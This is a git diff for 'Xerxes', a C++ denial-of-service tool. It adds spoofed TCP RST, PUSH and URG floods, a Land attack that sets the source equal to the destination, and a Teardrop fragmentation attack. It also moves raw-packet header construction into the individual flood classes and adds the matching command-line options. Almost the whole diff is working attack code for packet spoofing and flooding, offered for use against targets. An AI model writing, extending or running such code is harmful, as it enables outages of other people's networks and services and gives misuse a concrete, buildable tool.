diff --git a/CMakeLists.txt b/CMakeLists.txt
index 8ce304b..d3dbdc6 100755
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -11,9 +11,9 @@ if( OPENSSL_FOUND )
set(OPENSSL_USE_STATIC_LIBS TRUE)
message(STATUS "Using OpenSSL ${OPENSSL_VERSION}")
endif()
-SET(CMAKE_FIND_LIBRARY_SUFFIXES ".a")
-SET(BUILD_SHARED_LIBRARIES OFF)
-SET(CMAKE_EXE_LINKER_FLAGS "-static")
+set(CMAKE_FIND_LIBRARY_SUFFIXES ".a")
+set(BUILD_SHARED_LIBRARIES OFF)
+set(CMAKE_EXE_LINKER_FLAGS "-static -Wl,--whole-archive -lpthread -Wl,--no-whole-archive")
add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Doser.cpp Headers/Doser.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp)
target_link_libraries(Xerxes ${OPENSSL_LIBRARIES})
target_link_libraries(Xerxes ${CMAKE_DL_LIBS})
diff --git a/Dockerfile b/Dockerfile
old mode 100644
new mode 100755
diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp
index 1dba741..9f2f86f 100755
--- a/Headers/Configuration.hpp
+++ b/Headers/Configuration.hpp
@@ -8,7 +8,8 @@
struct config{
enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedUDP,
- SpoofedSyn, SpoofedAck, SpoofedFin, Rudy, Blacknurse, Beast};
+ SpoofedSyn, SpoofedAck, SpoofedRST, SpoofedPUSH, SpoofedURG, SpoofedFin, Rudy, Blacknurse,
+ Beast, TearDrop, Land};
enum Protocol{TCP, UDP};
Protocol protocol{TCP};
Vector vector{NullTCP};
diff --git a/Headers/Http_Flood.hpp b/Headers/Http_Flood.hpp
index 2227b47..615f411 100755
--- a/Headers/Http_Flood.hpp
+++ b/Headers/Http_Flood.hpp
@@ -28,6 +28,7 @@ class Http_Flood : public Attack_Vector {
void read_socket(SSL *ssl);
int write_socket(int socket, const char* string, int length);
int write_socket(SSL *ssl, const char* string, int length);
+ const SSL_METHOD *GetMethod();
};
diff --git a/Headers/ICMP_Flood.hpp b/Headers/ICMP_Flood.hpp
index 94e597f..3f7fe46 100755
--- a/Headers/ICMP_Flood.hpp
+++ b/Headers/ICMP_Flood.hpp
@@ -9,7 +9,8 @@ class ICMP_Flood : public Spoofed_Flood {
private:
void attack(const int *id) override;
- void override_options(icmphdr *icmp);
+ void init_headers(iphdr *ip, icmphdr *icmp, char *buf);
+ void override_headers(icmphdr *tcp, iphdr *ip);
};
diff --git a/Headers/Spoofed_Flood.hpp b/Headers/Spoofed_Flood.hpp
index c0ee422..bbcfc1c 100755
--- a/Headers/Spoofed_Flood.hpp
+++ b/Headers/Spoofed_Flood.hpp
@@ -15,7 +15,6 @@ class Spoofed_Flood : public Attack_Vector {
friend class ICMP_Flood;
friend class Spoofed_TCP_Flood;
friend class Spoofed_UDP_Flood;
- friend class Black_Nurse;
public:
Spoofed_Flood() = default;
@@ -31,9 +30,6 @@ class Spoofed_Flood : public Attack_Vector {
u_int16_t length;
};
virtual int make_socket(int protocol);
- virtual void init_headers(iphdr *ip, tcphdr *tcp, char *buf);
- virtual void init_headers(iphdr *ip, udphdr *udp, char *buf);
- virtual void init_headers(iphdr *ip, icmphdr *icmp, char *buf);
};
diff --git a/Headers/Spoofed_TCP_Flood.hpp b/Headers/Spoofed_TCP_Flood.hpp
index 00456c5..936631c 100755
--- a/Headers/Spoofed_TCP_Flood.hpp
+++ b/Headers/Spoofed_TCP_Flood.hpp
@@ -9,7 +9,8 @@ class Spoofed_TCP_Flood : public Spoofed_Flood {
private:
void attack(const int *id) override;
- void override_options(tcphdr *tcp);
+ void init_headers(iphdr *ip, tcphdr *tcp, char *buf);
+ void override_headers(tcphdr *tcp, iphdr *ip);
};
diff --git a/Headers/Spoofed_UDP_Flood.hpp b/Headers/Spoofed_UDP_Flood.hpp
index 3b1bc29..35105e4 100755
--- a/Headers/Spoofed_UDP_Flood.hpp
+++ b/Headers/Spoofed_UDP_Flood.hpp
@@ -9,6 +9,8 @@ class Spoofed_UDP_Flood : public Spoofed_Flood {
private:
void attack(const int *id) override;
+ void init_headers(iphdr *ip, udphdr *udp, char *buf);
+ void override_headers(udphdr *udp, iphdr *ip);
};
diff --git a/Headers/Version.hpp b/Headers/Version.hpp
index 71de401..f8b6b1c 100755
--- a/Headers/Version.hpp
+++ b/Headers/Version.hpp
@@ -3,7 +3,7 @@
#define VERSION_MAJOR 1
-#define VERSION_MINOR 1
+#define VERSION_MINOR 2
#define BUILD_YEAR_CH0 (__DATE__[ 7])
diff --git a/README.md b/README.md
index 745e377..c9ab353 100755
--- a/README.md
+++ b/README.md
@@ -1,3 +1,5 @@
+
+
# Xerxes
[](https://travis-ci.org/sepehrdaddev/Xerxes)
@@ -32,7 +34,12 @@ Options:\
-su set attack vector to Spoofed UDP Flood\
-sy set attack vector to Spoofed Syn Flood\
-sa set attack vector to Spoofed Ack Flood\
+ -sr set attack vector to Spoofed Rst Flood\
+ -sg set attack vector to Spoofed Urg Flood\
+ -sp set attack vector to Spoofed Push Flood\
-sf set attack vector to Spoofed Fin Flood\
+ -td set attack vector to Teardrop\
+ -ld set attack vector to Land\
-ss enable SSL\
-w wait for response\
-rh randomize HTTP Header\
diff --git a/Sources/Doser.cpp b/Sources/Doser.cpp
index 343057c..754e35c 100755
--- a/Sources/Doser.cpp
+++ b/Sources/Doser.cpp
@@ -58,6 +58,18 @@ void Doser::run() {
logger->Log("Attack Vector: Spoofed Ack Flood", Logger::Info);
flood = new Spoofed_TCP_Flood{conf, logger};
break;
+ case config::SpoofedRST:
+ logger->Log("Attack Vector: Spoofed Rst Flood", Logger::Info);
+ flood = new Spoofed_TCP_Flood{conf, logger};
+ break;
+ case config::SpoofedURG:
+ logger->Log("Attack Vector: Spoofed Urg Flood", Logger::Info);
+ flood = new Spoofed_TCP_Flood{conf, logger};
+ break;
+ case config::SpoofedPUSH:
+ logger->Log("Attack Vector: Spoofed Push Flood", Logger::Info);
+ flood = new Spoofed_TCP_Flood{conf, logger};
+ break;
case config::SpoofedFin:
logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info);
flood = new Spoofed_TCP_Flood{conf, logger};
@@ -70,6 +82,14 @@ void Doser::run() {
logger->Log("Attack Vector: Beast", Logger::Info);
flood = new Beast{conf, logger};
break;
+ case config::TearDrop:
+ logger->Log("Attack Vector: Teardrop", Logger::Info);
+ flood = new Spoofed_UDP_Flood{conf, logger};
+ break;
+ case config::Land:
+ logger->Log("Attack Vector: Land", Logger::Info);
+ flood = new Spoofed_TCP_Flood{conf, logger};
+ break;
default:break;
}
if(conf->UseSSL){
diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp
index 41bf229..986a3ef 100755
--- a/Sources/Http_Flood.cpp
+++ b/Sources/Http_Flood.cpp
@@ -62,10 +62,9 @@ int Http_Flood::make_socket(const char *host, const char *port, int sock_type) {
}
SSL_CTX *Http_Flood::InitCTX() {
- const SSL_METHOD *method{TLSv1_1_client_method()};
+ SSL_library_init();
+ const SSL_METHOD *method{GetMethod()};
SSL_CTX *ctx;
- OpenSSL_add_ssl_algorithms();
- SSL_load_error_strings();
ctx = SSL_CTX_new(method);
if (ctx == nullptr){
logger->Log("Unable to connect using ssl", Logger::Error);
@@ -190,3 +189,14 @@ void Http_Flood::attack_ssl(const int *id) {
}
}
+const SSL_METHOD *Http_Flood::GetMethod() {
+ switch (conf->protocol){
+ case config::TCP:
+ return TLSv1_2_client_method();
+ case config::UDP:
+ return DTLSv1_2_client_method();
+ default:
+ return nullptr;
+ }
+}
+
diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp
index 170f275..5a008cf 100755
--- a/Sources/ICMP_Flood.cpp
+++ b/Sources/ICMP_Flood.cpp
@@ -40,7 +40,7 @@ void ICMP_Flood::attack(const int *id) {
}
init_headers(ip, icmp, buf);
- override_options(icmp);
+ override_headers(icmp, ip);
dst.sin_addr.s_addr = ip->daddr;
dst.sin_family = AF_UNSPEC;
@@ -68,16 +68,38 @@ ICMP_Flood::ICMP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf,
}
-void ICMP_Flood::override_options(icmphdr *icmp) {
+void ICMP_Flood::override_headers(icmphdr *icmp, iphdr *ip){
switch (conf->vector){
case config::ICMPFlood:
- icmp->type = ICMP_ECHO;
- icmp->code = static_cast(Randomizer::randomInt(1, 1000));
+ icmp->type = static_cast(Randomizer::randomInt(1, 30));
+ icmp->code = static_cast(Randomizer::randomInt(1, 15));
break;
case config::Blacknurse:
icmp->type = ICMP_DEST_UNREACH;
- icmp->code = static_cast(3);
+ icmp->code = ICMP_PORT_UNREACH;
break;
default:break;
}
}
+
+
+void ICMP_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) {
+ // IP Struct
+ ip->version = 4;
+ ip->ihl = 5;
+ ip->tos = 0;
+ ip->tot_len = htons(sizeof(buf));
+ ip->id = static_cast(Randomizer::randomInt(1, 1000));
+ ip->frag_off = htons(0x0);
+ ip->ttl = 255;
+ ip->protocol = IPPROTO_ICMP;
+ ip->check = 0;
+
+ ip->check = csum((unsigned short *) buf, ip->tot_len);
+
+ icmp->type = 0;
+ icmp->code = 0;
+ icmp->un.echo.sequence = static_cast(Randomizer::randomInt(1, 1000));
+ icmp->un.echo.id = static_cast(Randomizer::randomInt(1, 1000));
+ icmp->checksum = 0;
+}
diff --git a/Sources/Null_Flood.cpp b/Sources/Null_Flood.cpp
index 5705a94..131a001 100755
--- a/Sources/Null_Flood.cpp
+++ b/Sources/Null_Flood.cpp
@@ -1,4 +1,4 @@
-#include
+
#include
#include "../Headers/Null_Flood.hpp"
@@ -9,7 +9,7 @@ void Null_Flood::attack(const int *id) {
for (int x = 0; x < conf->CONNECTIONS; x++) {
sockets.push_back(0);
}
- int socktype = conf->protocol == config::UDP ? SOCK_DGRAM: SOCK_STREAM;
+ int socktype = conf->protocol;
while(true) {
static std::string message;
for (int x = 0; x < conf->CONNECTIONS; x++) {
@@ -41,7 +41,7 @@ void Null_Flood::attack_ssl(const int *id) {
std::vector sockets;
std::vector CTXs;
std::vector SSLs;
- int socktype = conf->protocol == config::UDP ? SOCK_DGRAM: SOCK_STREAM;
+ int socktype = conf->protocol;
for (int x = 0; x < conf->CONNECTIONS; x++) {
sockets.push_back(0);
SSLs.push_back(nullptr);
diff --git a/Sources/Parser.cpp b/Sources/Parser.cpp
index bc9af40..80d3065 100755
--- a/Sources/Parser.cpp
+++ b/Sources/Parser.cpp
@@ -21,7 +21,12 @@ void Parser::help() {
" -su set attack vector to Spoofed UDP Flood\n"
" -sy set attack vector to Spoofed Syn Flood\n"
" -sa set attack vector to Spoofed Ack Flood\n"
+ " -sr set attack vector to Spoofed Rst Flood\n"
+ " -sg set attack vector to Spoofed Urg Flood\n"
+ " -sp set attack vector to Spoofed Push Flood\n"
" -sf set attack vector to Spoofed Fin Flood\n"
+ " -td set attack vector to Teardrop\n"
+ " -ld set attack vector to Land\n"
" -ss enable SSL\n"
" -w wait for response\n"
" -rh randomize HTTP Header\n"
@@ -86,6 +91,12 @@ void Parser::parse_commandline(int argc, const char *argv[]) {
conf->vector = config::SpoofedSyn;
}else if(!strcmp(argv[i], "-sa")){
conf->vector = config::SpoofedAck;
+ }else if(!strcmp(argv[i], "-sr")){
+ conf->vector = config::SpoofedRST;
+ }else if(!strcmp(argv[i], "-sg")){
+ conf->vector = config::SpoofedURG;
+ }else if(!strcmp(argv[i], "-sp")){
+ conf->vector = config::SpoofedPUSH;
}else if(!strcmp(argv[i], "-sf")){
conf->vector = config::SpoofedFin;
}else if(!strcmp(argv[i], "-q")){
@@ -106,6 +117,10 @@ void Parser::parse_commandline(int argc, const char *argv[]) {
conf->website = static_cast(argv[i+1]);
}else if(!strcmp(argv[i], "-port")){
conf->port = static_cast(argv[i+1]);
+ }else if(!strcmp(argv[i], "-td")){
+ conf->vector = config::TearDrop;
+ }else if(!strcmp(argv[i], "-ld")){
+ conf->vector = config::Land;
}else if(!strcmp(argv[i], "-T")){
if(Validator::isValidNumber(argv[i+1])){
conf->THREADS = static_cast(strtol(argv[i+1], nullptr, 10));
diff --git a/Sources/Spoofed_Flood.cpp b/Sources/Spoofed_Flood.cpp
index ed813a3..3e1853b 100755
--- a/Sources/Spoofed_Flood.cpp
+++ b/Sources/Spoofed_Flood.cpp
@@ -1,8 +1,6 @@
#include
-#include
#include "../Headers/Spoofed_Flood.hpp"
-#include "../Headers/Randomizer.hpp"
Spoofed_Flood::Spoofed_Flood(const config *conf, Logger *logger) : Attack_Vector(conf, logger){
@@ -31,77 +29,3 @@ int Spoofed_Flood::make_socket(int protocol) {
}
return sock;
}
-
-void Spoofed_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) {
- auto s_port = Randomizer::randomPort();
- // IP Struct
- ip->ihl = 5;
- ip->version = 4;
- ip->tos = 16;
- ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(buf);
- ip->id = static_cast(Randomizer::randomInt(1, 1000));
- ip->frag_off = htons(0x0);
- ip->ttl = 255;
- ip->protocol = IPPROTO_UDP;
- ip->check = 0;
- ip->check = csum((unsigned short *) buf, ip->tot_len);
-
- // UDP Struct
- udp->source = htons(static_cast(s_port));
- udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10)));
- udp->len = htons(static_cast(sizeof(struct udphdr)));
- udp->check = 0;
-}
-
-void Spoofed_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) {
- auto s_port = Randomizer::randomPort();
- // IP Struct
- ip->ihl = 5;
- ip->version = 4;
- ip->tos = 16;
- ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(buf);
- ip->id = static_cast(Randomizer::randomInt(1, 1000));
- ip->frag_off = htons(0x0);
- ip->ttl = 255;
- ip->protocol = IPPROTO_TCP;
- ip->check = 0;
-
- ip->check = csum((unsigned short *) buf, ip->tot_len);
-
- // TCP Struct
- tcp->source = htons(static_cast(s_port));
- tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10)));
- tcp->seq = 0;
- tcp->ack_seq = 0;
- tcp->doff = 5; //tcp header size
- tcp->fin=0;
- tcp->syn=0;
- tcp->rst=0;
- tcp->psh=0;
- tcp->ack=0;
- tcp->urg=0;
- tcp->window = htons (5840);
- tcp->check = 0;
- tcp->urg_ptr = 0;
-}
-
-void Spoofed_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) {
- // IP Struct
- ip->version = 4;
- ip->ihl = 5;
- ip->tos = 0;
- ip->tot_len = htons(sizeof(buf));
- ip->id = static_cast(Randomizer::randomInt(1, 1000));
- ip->frag_off = htons(0x0);
- ip->ttl = 255;
- ip->protocol = IPPROTO_ICMP;
- ip->check = 0;
-
- ip->check = csum((unsigned short *) buf, ip->tot_len);
-
- icmp->type = 0;
- icmp->code = 0;
- icmp->un.echo.sequence = static_cast(Randomizer::randomInt(1, 1000));
- icmp->un.echo.id = static_cast(Randomizer::randomInt(1, 1000));
- icmp->checksum = 0;
-}
diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp
index 658802a..04a5cfd 100755
--- a/Sources/Spoofed_TCP_Flood.cpp
+++ b/Sources/Spoofed_TCP_Flood.cpp
@@ -41,14 +41,13 @@ void Spoofed_TCP_Flood::attack(const int *id) {
}
init_headers(ip, tcp, buf);
- override_options(tcp);
+ override_headers(tcp, ip);
dst.sin_addr.s_addr = ip->daddr;
dst.sin_family = AF_UNSPEC;
-
- psh.source_address = inet_addr(conf->website.c_str());
- psh.dest_address = dst.sin_addr.s_addr;
+ psh.source_address = ip->saddr;
+ psh.dest_address = ip->daddr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.length = htons(sizeof(struct tcphdr) + strlen(buf));
@@ -83,17 +82,55 @@ Spoofed_TCP_Flood::Spoofed_TCP_Flood(const config *conf, Logger *logger) : Spoof
}
-void Spoofed_TCP_Flood::override_options(tcphdr *tcp){
+void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){
switch (conf->vector){
case config::SpoofedSyn:
- tcp->syn = 1;
+ tcp->th_flags = TH_SYN;
break;
case config::SpoofedAck:
- tcp->ack = 1;
+ tcp->th_flags = TH_ACK;
+ break;
+ case config::SpoofedRST:
+ tcp->th_flags = TH_RST;
+ break;
+ case config::SpoofedPUSH:
+ tcp->th_flags = TH_PUSH;
+ break;
+ case config::SpoofedURG:
+ tcp->th_flags = TH_URG;
break;
case config::SpoofedFin:
- tcp->fin = 1;
+ tcp->th_flags = TH_FIN;
break;
+ case config::Land:
+ tcp->th_flags = TH_SYN;
+ ip->saddr = ip->daddr;
+ tcp->source = tcp->dest;
default:break;
}
}
+
+void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) {
+ auto s_port = Randomizer::randomPort();
+ // IP Struct
+ ip->ihl = 5;
+ ip->version = 4;
+ ip->tos = 16;
+ ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(buf);
+ ip->id = static_cast(Randomizer::randomInt(1, 1000));
+ ip->frag_off = htons(0x0);
+ ip->ttl = 255;
+ ip->protocol = IPPROTO_TCP;
+ ip->check = 0;
+
+ ip->check = csum((unsigned short *) buf, ip->tot_len);
+
+ // TCP Struct
+ tcp->source = htons(static_cast(s_port));
+ tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10)));
+ tcp->seq = 0;
+ tcp->doff = 5; //tcp header size
+ tcp->window = htons (5840);
+ tcp->check = 0;
+ tcp->th_flags = 0;
+}
diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp
index 571be2c..5222eeb 100755
--- a/Sources/Spoofed_UDP_Flood.cpp
+++ b/Sources/Spoofed_UDP_Flood.cpp
@@ -41,13 +41,13 @@ void Spoofed_UDP_Flood::attack(const int *id) {
}
init_headers(ip, udp, buf);
+ override_headers(udp, ip);
dst.sin_addr.s_addr = ip->daddr;
dst.sin_family = AF_UNSPEC;
-
- psh.source_address = inet_addr(conf->website.c_str());
- psh.dest_address = dst.sin_addr.s_addr;
+ psh.source_address = ip->saddr;
+ psh.dest_address = ip->daddr;
psh.placeholder = 0;
psh.protocol = IPPROTO_UDP;
psh.length = htons(sizeof(struct udphdr) + strlen(buf));
@@ -81,3 +81,33 @@ void Spoofed_UDP_Flood::attack(const int *id) {
Spoofed_UDP_Flood::Spoofed_UDP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, logger) {
}
+
+void Spoofed_UDP_Flood::override_headers(udphdr *udp, iphdr *ip) {
+ switch(conf->vector){
+ case config::TearDrop:
+ ip->frag_off |= htons(0x2000);
+ break;
+ default:break;
+ }
+}
+
+void Spoofed_UDP_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) {
+ auto s_port = Randomizer::randomPort();
+ // IP Struct
+ ip->ihl = 5;
+ ip->version = 4;
+ ip->tos = 16;
+ ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(buf);
+ ip->id = static_cast(Randomizer::randomInt(1, 1000));
+ ip->frag_off = htons(0x0);
+ ip->ttl = 255;
+ ip->protocol = IPPROTO_UDP;
+ ip->check = 0;
+ ip->check = csum((unsigned short *) buf, ip->tot_len);
+
+ // UDP Struct
+ udp->source = htons(static_cast(s_port));
+ udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10)));
+ udp->len = htons(static_cast(sizeof(struct udphdr)));
+ udp->check = 0;
+}
diff --git a/XerxesTheGreat.jpg b/XerxesTheGreat.jpg
new file mode 100755
index 0000000..254f1f6
Binary files /dev/null and b/XerxesTheGreat.jpg differ